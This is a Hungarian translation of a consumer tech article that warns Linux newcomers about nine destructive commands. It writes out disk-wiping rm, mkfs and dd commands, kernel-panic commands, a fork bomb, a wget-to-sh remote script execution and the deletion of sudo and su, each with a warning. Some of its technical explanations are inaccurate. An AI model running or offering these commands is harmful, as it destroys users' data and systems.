

9 halálos Linux parancs, amit soha ne futtass!

(9 Lethal Linux Commands YouShould Never Run - fordítás)

Írta: Joel Lee

A cikk eredetije itt olvasható: <http://www.makeuseof.com/tag/9-lethal-linux-commands-never-run/>
A Linux kétélű fegyver lehet. Feltételezi, hogy tudod mit csinálsz és megadja a szabadságot, hogy bármit megtegyél. Kérdés nélkül. Ez kényelmes, ha tudod, hogy éppen mit csinálsz, de azt is jelenti, bármikor tönkre teheted a rendszeredet másodpercek alatt.

Új vagy a Linux parancssorban? Ne aggódj. Kezdd a ismerkedést nálunk, a [Bevezető a Linux terminálba](#) és [40 alapvető Linux parancs](#) ismertetőikkel. Ezekkel gyorsan megismerkedhetsz a parancssorral.

De, függetlenül attól, hogy újonc, vagy veterán linuxos vagy, sose futtass parancsot, ha nem tudod, hogy pontosan mit tesz. Íme néhány a leghalálosabb Linux parancsok közül, amiket – többnyire – kerülni kell.

Rekurzív törlés

A Linux képessége, hogy bármi törölhető kérdés nélkül, egy áldás, különösen, ha éveken keresztül küzdöttél a Windows „A fájl nem törölhető” hibajelzésével. Ám internetes gazfickók könnyen felültethetnek, bedobva a veszélyes eltávolítás (rm) parancsot, ami a teljes merevlemezdet kisöpörheti.

```
rm -rf /
```

Ez az rm parancsot két kapcsolóval futtatja: a -r, ami rekurzív törlést ír elő az összes alkönyvtárat beleértve és a -f, ami kikényszeríti a törlést, még a csak olvasható fájlokét is, megerősítés nélkül. A parancsot a gyökérkönyvtárban hajtja végre, lényegében tisztára söpörve a teljes rendszeredet.

Megjegyzem, a legtöbb mai Linux rendszer figyelmeztet, ha ezt akarod megtenni. Azonban, a figyelmeztetés nem garantált, szóval inkább ne tedd.

Merevlemez formázása

A terminál a kezdő linuxosoknak különösen trükkös, mivel számos lehetőséget nyújt a merevlemez véletlen törlésére. A rekurzív törlés alapvető, de íme egy másik:

```
mkfs.ext3 /dev/hda
```

Ez a parancs a merevlemezt ext3 fájlrendszerre formázza. [A lemezmeghajtó formázása](#) nem feltétlenül rosszindulatú művelet, de alapállapotba teszi a meghajtót, mintha teljesen új lenne. Más szavakkal, egy formázott lemez olyan, mint egy üres vászon.

A formázás hasznos, partíciók és külső meghajtók esetén, de egy teljes merevlemezre végrehajtani (mint a /dev/hda) veszélyes és könnyen helyrehozhatatlan állapotba hozhatja a rendszert.

Merevlemez felülírása

Ha a véletlen lemezformázás nem lenne elég rossz, felülírható a merevlemez mindenféle adatokkal. A lemezformázás legalább egy, a való életben is tényleg használt folyamat; a meghajtó közvetlen felülírása viszont nem annyira nagyszerű dolog.

```
command > /dev/hda
```

A fenti parancsban a command helyett állhat bármilyen bash parancs. A > operátor átirányítja a tőle balra álló parancs kimenetét a tőle jobbra lévő fájlba. Ebben az esetben teljesen lényegtelen, hogy bal oldali parancsnak mi a kimenete. Az adatsor átkerül és arra szolgál, hogy felülírja a merevlemezen a rendszert.

Képzeld, hogy milyen haszontalan dolgokat ad át.

Merevlemez kisöprése

Íme egy újabb módja a rendszered lerombolásának. Ezúttal a parancs teljesen lenullázza a merevlemezedet. Az adatok nem sérülnek, vagy felülíródnak, hanem a merevlemezedet szó szerint nullákkal tölti fel. Egy meghajtót semmi sem takarít ki jobban, mint ez.

```
dd if=/dev/zero of=/dev/hda
```

A dd egy alacsony szintű utasítás, ami leginkább adatok fizikai meghajtóra írásához használatos. Az if paraméter határozza meg az adat forrását, ami estünkben /dev/zero, ami a Linux különlegessége, nullák végtelen sorát adja. Az of paraméter határozza meg a nullák célját, ami a /dev/hda meghajtó.

Igen, lehetnek okai, amiért a lemez nullázása szükséges, de ha nem ismered ezeket az okokat, akkor jobb, ha távol tartod magad ettől a parancstól.

Merevlemez tönkretétele

Ha már unod a merevlemez lerombolásának különféle módjait, akkor várj még egy kicsit. Íme még egy. A Linuxban van egy különleges fájl, a /dev/null, ami számára lényegtelen, hogy mit írsz bele. Tekintheted egyfajta fekete lyuknak, vagy fájlдарálónak: bármit is adsz neki, felfalja.

```
mv / /dev/null
```

Látod, hogy hol itt veszély? Az mv parancs megpróbálja a rendszer gyökérfájlyárát / a /dev/null fekete lyukba mozgatni. Ez egy érvényes parancs és a hatása pusztító: a merevlemezt felemészti és semmi sem marad utána. Ezzel a rendszered használhatatlanná válik.

Kernel Panic okozása

A Windows hírhedt a [Kék halál képernyője](#) miatt. A legendák ellenére [a Linux sem teljesen biztonságos rendszer](#). Néha, jelentkezik olyan belső hiba, amiből nem lehet kilábalni, vagyis a rendszer valami olyasmit produkál, mint a kék halál képernyő: a kernel panic-ot.

```
dd if=/dev/random of=/dev/port
```

```
echo 1 > /proc/sys/kernel/panic
```

```
cat /dev/port
```

```
cat /dev/zero > /dev/mem
```

A fenti parancsok okozta bonyodalmak nem annyira érdekesek. Ami viszont lényeges, hogy bármelyik sor futtatása kernel panic-ot okoz, a rendszer újraindítását kényszerítve. Jobb ezektől a parancsoktól tartózkodni, hacsak nem tudod teljes biztonsággal, hogy mit csinálsz.

Fork Bomb

Láncos bomba – magyar kifejezést nem találtam rá, de talán ez közelíti meg legjobban a lényegét.

A [Bash, a Linux-terminál nyelve](#) és elég hatásos. Nemcsak parancsokat, hanem függvényeket is képes futtatni, ami könnyűvé teszi szkriptek írását, ezzel rendszerfeladatok automatizálhatók.

Sajnos a függvényekkel veszélyek is járnak.

```
:(){:|:&}:;
```

Ezt a furcsa, Fork Bomb-nak hívott parancs, egy különleges kernel panic. Egy `:` nevű különleges függvényt ír le, ami magát hívja meg kétszer, amikor végrehajtodik. A rekurzív hívások egyike az előtérben fut, miközben a másik a háttérben történik meg.

Más szavakkal, a függvény bármikor futva két al-folyamatot szül. Ezek az al-folyamatok hozzák a saját al-folyamataikat és ez a ciklus végtelen hurokban folytatódik. Egyetlen lehetőség, hogy kikerülj belőle, a rendszer újraindítása.

Távoli szkriptek futtatása

Íme egy ártatlan parancs, ami egy Linux rendszeren a napi életben hasznos is lehet. A `wget` egy web-cím tartalmát szedi le, ami weboldalak elérésére, vagy fájlok letöltésére használható. Ugyanakkor egy egyszerű trükkkel veszélyessé is tehető:

```
wget http://egy-megbízhatatalan-oldal-urlje -O- | sh
```

A fenti kombináció letölti az adott URL tartalmát és azonnal betölti az `sh` parancsba, ami a letöltött tartalmat végrehajtja a terminálban. Ha az URL egy rosszindulatú szkriptre mutat, akkor valószínűleg megpeccsíteled a sorsodat a paranccsal.

Rendszergazda-jogok kiiktatása

Ez az utolsó parancs elég egyértelmű. A gyakran használt `rm` parancsot alkalmazza, hogy kikapcsolja a Linux két legfontosabb parancsát: a `sudo`-t és a `su`-t. Röviden, ezek a parancsok teszik lehetővé, hogy más parancsokat rendszergazda jogokkal futtass. Nélkülük az élet a Linux-ban kín.

```
rm -f /usr/bin/sudo;rm -f /bin/su
```

Amiért ezt a parancsokat ne futtasd: kényszerítve törli mindkét parancsot a rendszeredből,

megerősítést nem kérve, nagy zűrt hagyva maga után. [Vannak módszerek, amivel a törölt dolgokat helyreállíthatod](#), de nem mindig egyértelműek és kellemesek.

Légy óvatos! Ne félj terminálban [a Linux-parancsokkal kísérletezni](#), de ugyanakkor tájékozódj és sose hajts végre semmi olyat, aminek a hatásával nem vagy teljesen tisztában. Ha valaki azt mondja neked, hogy „próbáld ki ezt a parancsot”, mindig kétszeresen, vagy háromszorosan ellenőrizd le.

Futtattál bármikor is romboló parancsot? Mi történt? Megvezetett már valaki ilyennel? Oszd meg velünk gondolataidat és tapasztalataidat a kommentároknál!